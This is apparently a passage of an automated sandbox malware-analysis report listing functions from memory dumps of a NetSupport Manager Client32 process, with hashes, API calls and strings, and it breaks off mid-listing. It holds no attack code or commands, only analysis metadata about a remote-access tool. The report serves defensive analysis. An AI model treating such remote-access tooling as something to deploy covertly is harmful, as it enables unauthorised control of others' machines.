Opcode Fuzzy Hash: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction Fuzzy Hash: 590124392013669BEB099F25EC60B5BB799AB83365F014529EC15CA3C0DB70D900C340

Function 111672E3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 111672EE

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: b67d37eb909022d12c4b3a5208e3be1f16578853890f7fcac85d973ba88585e6
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: C5C09B3705811D7F5F055DE5EC00C557F5DD6806747148156F91C89590DD73E561D540

Function 11163FED Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11163FFA

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 3fb95567750ac4c2837cb65daf82bfaf3169cdeaa60eaf7921ceae4fe4d00650
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 76C0927645424C77DF112A82EC02E4A7F2E9BC0668F448060FB1C19160AAB3EA71DACA

Function 00F01000 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,?,00F010A2,00000000), ref: 00F0100B

Memory Dump Source

Source File: 00000005.00000002.4131565154.0000000000F01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.4131549170.0000000000F00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.4131581542.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f00000_shv.jbxd

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction ID: c9e434760e1d31b5fb472ae86b3b4a4d965354d8358527ab853451bce9d527e3
Opcode Fuzzy Hash: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction Fuzzy Hash: 91B092B221434D9BC714EF98EC41C7B739CBA98700B400909BD4543282CA65FC60E671

Non-executed Functions

Function 110EB120 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 141windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

wsprintfA.USER32 ref: 110EB1B8
GetTickCount.KERNEL32 ref: 110EB212
SendMessageA.USER32(?,0000004A,?,?), ref: 110EB226
GetTickCount.KERNEL32 ref: 110EB22E
SendMessageTimeoutA.USER32(?,0000004A,?,?,00000000,?,?), ref: 110EB276
OpenEventA.KERNEL32(00000002,00000000,runplugin.dmp.1,?,00000001), ref: 110EB2A8
SetEvent.KERNEL32(00000000,?,00000001), ref: 110EB2B5
CloseHandle.KERNEL32(00000000,?,00000001), ref: 110EB2BC

Strings

runplugin.dmp.1, xrefs: 110EB29F
runplugin %s (hWnd=%x,u=%d,64=%d) , xrefs: 110EB1B2
_debug, xrefs: 110EB14D
Error. Runplugin is unresponsive, xrefs: 110EB2C2
%s, xrefs: 110EB1E3
Warning: SendMessage to Runplugin took %d ms (possibly unresponsive), xrefs: 110EB23A
TracePlugins, xrefs: 110EB140
DATA, xrefs: 110EB166
INIT, xrefs: 110EB15C

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CountEventMessageSendTick$CloseHandleOpenTimeout__wcstoi64wsprintf
String ID: %s$DATA$Error. Runplugin is unresponsive$INIT$TracePlugins$Warning: SendMessage to Runplugin took %d ms (possibly unresponsive)$_debug$runplugin %s (hWnd=%x,u=%d,64=%d) $runplugin.dmp.1
API String ID: 3451743168-2289091950
Opcode ID: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction ID: f1114c107ee76d929ad16cd328bd8b6b93bc0bc6479e919ac6bcab8c7865c9c3
Opcode Fuzzy Hash: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction Fuzzy Hash: D441A675A012199FD724DFA5DC44FAEF7B8EF48319F0085AEE91AA7240D631A940CFB1

Function 11106100 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1110612E
EnterCriticalSection.KERNEL32(111F060C), ref: 11106137
GetTickCount.KERNEL32 ref: 1110613D
GetTickCount.KERNEL32 ref: 11106190
LeaveCriticalSection.KERNEL32(111F060C), ref: 11106199
GetTickCount.KERNEL32 ref: 111061CA
LeaveCriticalSection.KERNEL32(111F060C), ref: 111061D3
EnterCriticalSection.KERNEL32(111F060C), ref: 111061FC
LeaveCriticalSection.KERNEL32(111F060C,00000000,?,00000000), ref: 111062C3

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 110F0CF0: InitializeCriticalSection.KERNEL32(00000038,00000000,00000000,?,00000000,?,11106267,?), ref: 110F0D1B

Strings

Warning. took %d ms to get simap lock, xrefs: 11106149
Warning. simap lock held for %d ms, xrefs: 111061A9, 111061E3
psi, xrefs: 11106183, 11106238, 1110627E
info. new psi(%d) = %x, xrefs: 111062B1
e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 1110617E, 11106233, 11106279

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$Initialize_malloc_memsetwsprintf
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$info. new psi(%d) = %x$psi
API String ID: 1574099134-3013461081
Opcode ID: e4cf314df931be329bed10d82e2fbe7145bba63e1bcfccc88a3091ef951cf9c4
Instruction ID: 01093d0ef8ba3b8d66a1f5e3f4838d53f0bc1b4d1e9212342b6ef41ebc516d7c
Opcode Fuzzy Hash: e4cf314df931be329bed10d82e2fbe7145bba63e1bcfccc88a3091ef951cf9c4
Instruction Fuzzy Hash: 64410E79F0411AABD700DFA59C81E9EFBB9EB8462CF524535F909E7240EA306904CBE1

Function 1102310A Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 363windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1115ADD0: IsIconic.USER32(?), ref: 1115AE77
Part of subcall function 1115ADD0: ShowWindow.USER32(?,00000009), ref: 1115AE87
Part of subcall function 1115ADD0: BringWindowToTop.USER32(?), ref: 1115AE91

CheckMenuItem.USER32(00000000,000013EB,-00000009), ref: 1102324D
ShowWindow.USER32(?,00000003), ref: 110232D1
LoadMenuA.USER32(00000000,000013A3), ref: 110233FB
GetSubMenu.USER32(00000000,00000000), ref: 11023409
CheckMenuItem.USER32(00000000,000013EB,?), ref: 11023429
GetDlgItem.USER32(?,000013B2), ref: 1102343C
GetWindowRect.USER32(00000000), ref: 11023443
PostMessageA.USER32(?,00000111,?,00000000), ref: 11023499
DestroyMenu.USER32(?,?,00000000,00000000,00000102,?,?,?,00000000), ref: 110234A3

Strings

AddToJournal, xrefs: 110233AB
Chat, xrefs: 110233B0

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Menu$Window$Item$CheckShow$BringDestroyIconicLoadMessagePostRect
String ID: AddToJournal$Chat
API String ID: 693070851-2976406578
Opcode ID: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction ID: 337dba7d0f02a97e7c7211def3ec221287211942730252afe18814347e7ecccc
Opcode Fuzzy Hash: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction Fuzzy Hash: 87A1F178B04616ABDB09DF74CC85FAEB3E5AB88704F504519EA26DF2C0CF74B9408B65

Function 1115F100 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetForegroundWindow.USER32(00000000), ref: 1115F12E

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

SystemParametersInfoA.USER32(00002000,00000000,00000001,00000000), ref: 1115F14F
SystemParametersInfoA.USER32(00002001,00000000,00000000,00000000), ref: 1115F15C
SetForegroundWindow.USER32(00000000), ref: 1115F162
SystemParametersInfoA.USER32(00002001,00000000,00000001,00000000), ref: 1115F177

Strings

m_hWnd, xrefs: 1115F117
..\ctl32\wndclass.cpp, xrefs: 1115F112

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: InfoParametersSystem$ForegroundWindow$ErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$m_hWnd
API String ID: 3960414890-2201682149
Opcode ID: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
Instruction ID: 490c9e9faa58dc1df28f1acf4c3aa341e93c1bd023cf24429d0d7fa3412acb83
Opcode Fuzzy Hash: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
Instruction Fuzzy Hash: 8F01F276790318BBE30096A9CC86F55F398EB54B14F104126F718AA1C0DAF1B851C7E1

Function 11025122 Relevance: 12.1, APIs: 8, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,00000050), ref: 11025176
_strncat.LIBCMT ref: 1102518B
SetWindowTextA.USER32(?,?), ref: 11025198

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetDlgItemTextA.USER32(?,00001395,?,00000040), ref: 11025224
GetDlgItemTextA.USER32(?,00001397,?,00000040), ref: 11025238
SetDlgItemTextA.USER32(?,00001397,?), ref: 11025250
SetDlgItemTextA.USER32(?,00001395,?), ref: 11025262
SetFocus.USER32(?), ref: 11025265

Part of subcall function 11024C70: GetDlgItem.USER32(?,?), ref: 11024CC0

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Text$Item$Window$Focus_malloc_memset_strncatwsprintf
String ID:
API String ID: 3832070631-0
Opcode ID: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction ID: 7712de199883e751ea03bfa735f50b434bc7bb1cc5edca5bff12a9cf5cd7df4a
Opcode Fuzzy Hash: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction Fuzzy Hash: 0E4192B5A10359ABE710DB74CC45BBAF7F8FB44714F01452AE61AD76C0EAB4A904CB50

Function 11002100 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000), ref: 110021A4
SetCursor.USER32(00000000), ref: 110021AB

Strings

Ry>, xrefs: 11002161
RW>, xrefs: 11002183
Rh>, xrefs: 11002172
RF>, xrefs: 11002194

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Cursor$Load
String ID: RF>$RW>$Rh>$Ry>
API String ID: 1675784387-4149278736
Opcode ID: ccc6a066fdd1516699309e20ca3577cdd6dbae39598298960067ff8a39208018
Instruction ID: 86d1e62847d0437b4ac10ca901b2b65aff75ed6ab5d8aec964a8a63e5e98fc0c
Opcode Fuzzy Hash: ccc6a066fdd1516699309e20ca3577cdd6dbae39598298960067ff8a39208018
Instruction Fuzzy Hash: 5E112BBDD0C1E6A7F304C6258CA6F7A326C8BD53C5F408832F945C9284C97DE800B234

Function 11147110 Relevance: 9.0, APIs: 6, Instructions: 48threadsynchronizationCOMMON

Download Yara Rule

APIs

OpenThread.KERNEL32(0000004A,00000000,11147278,?,?,?,?,?,11147278), ref: 1114713A
CreateThread.KERNEL32(00000000,00001000,111470B0,?,00000000,?), ref: 1114715E
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,11147278), ref: 11147169
GetExitCodeThread.KERNEL32(00000000,00000000,?,?,?,?,?,?,11147278), ref: 11147174
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,11147278), ref: 11147181
CloseHandle.KERNEL32(?,?,?,?,?,?,?,11147278), ref: 11147187

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Thread$CloseHandle$CodeCreateExitObjectOpenSingleWait
String ID:
API String ID: 180989782-0
Opcode ID: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction ID: 262247fb5796f255492f056fed215dfab2d13c04184fcb9cbdc2136a2e7489e8
Opcode Fuzzy Hash: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction Fuzzy Hash: 6901FA75D14219ABDB04DFA8C845BAEBBB8EF08710F108166F924E7284D774AA018B91

Function 11143110 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000), ref: 1114314B
_strrchr.LIBCMT ref: 1114315A
_strrchr.LIBCMT ref: 1114316A
wsprintfA.USER32 ref: 11143185

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

SHV, xrefs: 11143180, 1114318E, 11143195, 111431C2

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Module_strrchr$FileHandleNamewsprintf
String ID: SHV
API String ID: 2529650285-722696247
Opcode ID: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction ID: d978b5afe12e8555e920acd6faf46f6bc40337599c773746d871781ff4fb06a8
Opcode Fuzzy Hash: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction Fuzzy Hash: DD21DD31A182698FE712EF348D407DAFBB4DF15B0CF2000D8D8850B182D7716885C7A0

Function 11014110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001002,?,00000000), ref: 11014142

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

m_hWnd, xrefs: 11014126
e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11014121

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
